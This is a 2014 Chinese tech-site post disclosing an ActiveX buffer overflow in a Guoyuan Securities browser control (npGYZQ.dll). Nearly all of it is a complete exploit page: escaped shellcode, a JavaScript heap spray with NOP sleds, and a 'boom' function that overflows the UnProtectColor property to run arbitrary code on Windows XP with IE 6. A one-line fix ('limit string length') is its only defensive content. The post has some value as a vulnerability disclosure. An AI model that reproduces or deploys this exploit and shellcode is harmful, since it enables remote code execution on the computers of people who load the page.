知识屋:更实用的电脑技术知识网站
所在位置:首页 > 网络安全 > 安全资讯

国元证券ActiveX溢出任意代码执行及修复

发布时间:2014-04-28 12:21:59作者:知识屋

国元证券,npGYZQ.dll 的UnProtectColor属性超长字符串溢出。
测试环境:windows xp IE 6
 
国元证券,npGYZQ.dll 的UnProtectColor属性超长字符串溢出。
 
<>

<object classid="clsid:CCF36A34-3024-46c5-904A-7867A9818DA3" id='target'></object><body>

<script language="javascript">

var shellcode = unescape(

'%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090'+

'%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+

'%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+

'%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+

'%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+

'%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+

'%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+

'%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+

'%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e');

nops=unescape('%u9090%u9090');

headersize =20;

slackspace= headersize + shellcode.length;

while(nops.length < slackspace) nops+= nops;

fillblock= nops.substring(0, slackspace);

block= nops.substring(0, nops.length- slackspace);

while( block.length+ slackspace<0x50000) block= block+ block+ fillblock;

memory=new Array();

for( i=0; i<200; i++)

memory[i]= block + shellcode;

buffer='';

for( i=0; i<=20; i++)

buffer+=unescape('%0D%0D%0D%0D');

function boom()

{

target.Width=5300;

target.EditStyle='Convex';

target.ProtectColor='#000079';

target.UnProtectColor =buffer;//'#00FF00';

target.EditBkgColor='#ffffff';

}

</script>

<form action="" onsubmit="return boom()">

<input type="submit" value="提交"> 

</form>

</body>

</html>

 


修复方案:
限制字符串长度
(免责声明:文章内容如涉及作品内容、版权和其它问题,请及时与我们联系,我们将在第一时间删除内容,文章内容仅供参考)
收藏
  • 人气文章
  • 最新文章
  • 下载排行榜
  • 热门排行榜